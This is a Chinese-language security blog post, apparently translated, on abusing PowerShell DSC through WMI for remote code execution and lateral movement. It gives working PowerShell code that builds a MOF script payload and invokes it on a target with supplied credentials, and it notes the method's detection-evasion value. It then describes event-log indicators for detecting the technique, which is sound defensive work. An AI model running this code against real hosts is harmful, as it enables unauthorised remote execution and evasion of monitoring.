濫用PowerShell DSC進行內網滲透
利用DSC滲透內網的簡要描述
PowerShell所需狀態配置(DSC)允許用戶直接使用WMI直接執行資源。使用DSC WMI類,攻擊者可以通過濫用內置腳本資源來實現遠程PowerShell代碼執行。利用這個技巧進行內網滲透的好處如下:
1.PowerShell代碼會在WMI服務二進位文件 - wmiprvse.exe的上下文中執行。從逃避入侵檢測的角度(至少在發布此博客文章之前)來看,這種辦法可以稱為比調用Win32_Process的Create方法從wmiprvse.exe生成子進程然後執行命令行更為有益的一種滲透技巧。
2.有效載荷的每個組件都只通過WMI。
3.不需要配置DSC服務的配置(甚至不需要了解DSC相關的知識)。
利用DSC內網滲透時的技術要求
1.ResourceTest方法必須存在於root/Microsoft/Windows/DesiredStateConfiguration命名空間中的MSFT_DSCLocalConfigurationManagerWMI類中。注意:攻擊者也可以選擇調用ResourceGet或ResourceSet方法。PowerShell DSC是在PowerShell v4中引入的,因此並非所有的主機都可以使用此技術。
2.默認情況下,你必須具有管理員憑據才能遠程調用WMI方法。遠程執行時,WMI通過DCOM或WSMan安全設置(取決於所使用的傳輸方法)得到保護。在建立遠程連接時,WMI本身通過特定於目標命名空間的安全描述符來保護,在本文中的示例是root/Microsoft/Windows/DesiredStateConfiguration。
武器化概念驗證
第一步是準備要執行的有效載荷。首先要在目標上執行的PowerShell代碼需要以MOF格式進行格式化。下面是將在目標上執行的有效載荷示例:
$MOFContents = @"
instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref
{
ResourceID = "[Script]ScriptExample";
GetScript = ""$(Get-Date): I am being GET" | Out-File C:\Windows\Temp\ScriptRun.txt -Append; return $True";
TestScript = ""$(Get-Date): I am being TESTED" | Out-File C:\Windows\Temp\ScriptRun.txt -Append; return $True";
SetScript = ""$(Get-Date): I am being SET" | Out-File C:\Windows\Temp\ScriptRun.txt -Append; return $True";
SourceInfo = "::3::5::Script";
ModuleName = "PsDesiredStateConfiguration";
ModuleVersion = "1.0";
ConfigurationName = "ScriptTest";
};
instance of OMI_ConfigurationDocument
{
Version="2.0.0";
MinimumCompatibleVersion = "1.0.0";
CompatibleVersionAdditionalProperties= {"Omi_BaseResource:ConfigurationName"};
Author="TestUser";
GenerationDate="02/26/2018 07:09:21";
GenerationHost="TestHost";
Name="ScriptTest";
};
"@
實際上,唯一需要改變的是PowerShell有效載荷。在我們的示例中,我們將調用與上面的代碼中的「TestScript」屬性中的有效載荷相對應的方法ResourceTest。請注意,特殊字元需要轉義!自動MOF生成和有效載荷轉移絕對是可以自動化的。
下一步是將MOF轉換為二進位形式,這是ResourceTest方法所需要的:
# Change this to false if you want to test the payload locally
$ExecuteRemotely = $True
$NormalizedMOFContents = [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents))
$NormalizedMOFBytes = [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents)
$TotalSize = [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4)
if ($ExecuteRemotely) {
# Prepend the length of the payload
[Byte[]] $MOFBytes = $TotalSize + $NormalizedMOFBytes
} else {
# If executing locally, you do not prepend the payload length
[Byte[]] $MOFBytes = $NormalizedMOFBytes
}
在上面的示例中需要注意的是,如果要在本地測試有效載荷,則不要將有效載荷長度添加到位元組數組中。現在你已經正確編碼了有效載荷,剩下要做的就是在目標機器上執行它!
# Specify the credentials of your target
$Credential = Get-Credential -Credential TempUser
$ComputerName = "TargetHost"
# Establish a remote WMI session with the target system
$RemoteCIMSession = New-CimSession -ComputerName $ComputerName -Credential $Credential
$LCMClass = Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration -ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSession
if ($LCMClass -and $LCMClass.CimClassMethods["ResourceTest"]) {
# You may now proceed with lateral movement
$MethodArgs = @{
ModuleName = "PSDesiredStateConfiguration"
ResourceType = "MSFT_ScriptResource"
resourceProperty = $MOFBytes
}
$Arguments = @{
Namespace = "root/Microsoft/Windows/DesiredStateConfiguration"
ClassName = "MSFT_DSCLocalConfigurationManager"
MethodName = "ResourceTest"
Arguments = $MethodArgs
CimSession = $RemoteCIMSession
}
# Invoke the DSC script resource Test method
# Successful execution will be indicated by "InDesiredState" returning True and ReturnValue returning 0.
Invoke-CimMethod @Arguments
} else {
Write-Warning "The DSC lateral movement method is not available on the remote system."
}
在上面的示例中,請注意我首先驗證了遠程類和方法在執行之前是否存在。使用WMI tradecraft時,建議在執行之前首先驗證目標類和方法是否存在。
所以上面的代碼就是利用方式的全部。我故意這樣做的目的是在術語或操作此功能方面有很多需要做的事情。在此示例中,「有效載荷結果」已寫入到磁碟。如果你只想使用WMI來遠程檢索文件內容,則可以使用這篇文章提到的技術。此外,在上面的示例中,我使用了在PSv3中引入的CIM cmdlet。如果你需要v2兼容性,也可以將其武器化以使用舊的WMI cmdlet。
發現方法論
在我試圖學習DSC的基礎知識時,我偶然發現了這種技術。我發現這篇文章討論了如何使用WMI直接調用DSC資源。當我發現這篇文章時,憑藉我對WMI的了解,我的某個想法就立刻出現在我的腦海中。博客文章演示了調用內置文件資源,所以我只需要弄清楚如何調整調用方式並且能與腳本資源一起使用。
並且,我一直在尋找躲避WMI被查殺的方法!
端點檢測
幸運的是,如果你可以提取系統事件日誌,那麼有很多機會可以檢測到這種技術。
Microsoft-Windows-PowerShell/操作事件日誌
「PowerShell命名管道IPC」事件將指示啟動的PowerShell AppDomain的名稱。當DSC執行腳本資源時,會自動捕獲「DSCPsPluginWkr_AppDomain」事件。AppDomain,顧名思義,它是DSC執行所特有的。下面是一個示例事件:
Windows PowerShell has started an IPC listening thread on process: 6480 in AppDomain: DscPsPluginWkr_AppDomain.
事件ID:4104
這是指PowerShell v5腳本塊日誌記錄。攻擊者可以輕鬆逃避腳本塊自動記錄,但如果啟用了全局腳本塊日誌記錄,攻擊者幾乎無法逃避系統記錄有效載荷。Scriptblock日誌記錄不僅會捕獲已執行的有效載荷,還會捕獲與執行內置腳本資源相關的幫助程序代碼:
例如,下面是調用腳本資源時捕獲的一些腳本塊數據示例:
# Localized 04/11/2018 02:09 PM (GMT) 303:4.80.0411 MSFT_ScriptResourceStrings.psd1 # Localized MSFT_ScriptResourceStrings.psd1 ConvertFrom-StringData @" ###PSLOC SetScriptWhatIfMessage=Executing the SetScript with the user supplied credential InValidResultFromGetScriptError=Failure to get the results from the script in a hash table format. InValidResultFromTestScriptError=Failure to get a valid result from the execution of TestScript. The Test script should return True or False. ScriptBlockProviderScriptExecutionFailureError=Failure to successfully execute the script. GetTargetResourceStartVerboseMessage=Begin executing Get Script. GetTargetResourceEndVerboseMessage=End executing Get Script. SetTargetResourceStartVerboseMessage=Begin executing Set Script. SetTargetResourceEndVerboseMessage=End executing Set Script. TestTargetResourceStartVerboseMessage=Begin executing Test Script. TestTargetResourceEndVerboseMessage=End executing Test Script. ExecutingScriptMessage=Executing Script: ###PSLOC "@
「Windows PowerShell」事件日誌
活動ID:400
在經典的PowerShell日誌中,事件ID 400指示了新的PowerShell主機進程啟動。當DSC腳本資源執行時,它會生成一個可以輕鬆簽名的唯一事件日誌條目。下面是一個例子:
引擎狀態從「無」更改為「可用」。
Details:
NewEngineState=Available
PreviousEngineState=None
SequenceNumber=13
HostName=Default Host
HostVersion=5.1.17134.81
HostId=19cfc50e-8894-4cd5-b0a9-09edd7785b7d
HostApplication=C:Windowssystem32wbemwmiprvse.exe
EngineVersion=5.1.17134.81
RunspaceId=12ebba81-9b73-4b1e-975d-e2c16da30906
PipelineId=
CommandName=
CommandType=
ScriptName=
CommandPath=
CommandLine=
PowerShell主機在wmiprvse.exe的上下文中啟動(可以在HostApplication欄位中看到),這可能是你的環境所特有的,尤其是在工作站上。
Microsoft-Windows-DSC /操作事件日誌
事件ID:4102
此事件對應於將DSC資源發送到目標的時間。如果計算機在域內,這將提供執行DSC資源的用戶SID和發起主機的上下文。下面是一個事件示例:
Job : Operation Invoke-DscResource started by user sid S-1-5-21-3160353621-618008412-2361186285-1001 from computer NULL.
完整的利用方式
我將給你演示使用DSC進行內網滲透和使用WMI遠程檢索文件內容的視頻。
https://www.youtube.com/watch?v=FURl9oNjO5E&feature=youtu.be
可以在此處找到演示視頻中的代碼。
玩的愉快!
※千面萬化的Android特洛伊木馬GPlayed
※滲透基礎——埠轉發與代理
TAG:嘶吼RoarTalk |